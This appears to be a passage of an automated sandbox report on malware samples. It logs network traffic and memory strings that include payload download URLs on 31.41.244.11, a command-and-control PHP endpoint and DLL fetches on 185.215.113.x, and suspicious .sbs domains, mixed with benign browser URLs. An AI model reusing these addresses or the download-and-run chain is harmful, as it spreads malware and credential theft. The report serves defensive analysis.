Source: global traffic	HTTP traffic detected: GET /files/1724962075/eDPQZkT.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2005702282.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe=
Source: file.exe, 00000000.00000002.2001894530.00000000004A5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2005702282.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllz
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll$
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll8
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll;
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllV
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllp
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllX
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2001894530.00000000004A5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2001894530.00000000004A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk
Source: file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/~
Source: file.exe, 00000000.00000002.2001894530.00000000004A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpneD
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: skotes.exe, 0000001D.00000002.2750756648.000000000071F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2750756648.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/eDPQZkT.exe
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/eDPQZkT.exe%)
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/eDPQZkT.exeA)
Source: skotes.exe, 0000001D.00000002.2750756648.000000000071F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1724962075/eDPQZkT.exeXYZ0123456789
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rando
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/randoV
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe)C:
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe09009001
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe131?C
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31d
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062382?
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623847
Source: skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760ac02b4ded8abeee1fb9a28c01515e801b41b110350bcecd522b999
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50Dat
Source: skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5e801b41b110350bcecd522b9999a5536e6#E
Source: skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeJG
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_476.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037677893.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, HJJJDAEG.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_476.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 6a854b32-01e2-4583-8db8-2999f2ad48ba.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, HJJJDAEG.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 6aeb00b7-1fab-414e-ab66-458ed8f652df.tmp.10.dr, 6a854b32-01e2-4583-8db8-2999f2ad48ba.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6aeb00b7-1fab-414e-ab66-458ed8f652df.tmp.10.dr, 6a854b32-01e2-4583-8db8-2999f2ad48ba.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 6aeb00b7-1fab-414e-ab66-458ed8f652df.tmp.10.dr, 6a854b32-01e2-4583-8db8-2999f2ad48ba.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log8.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
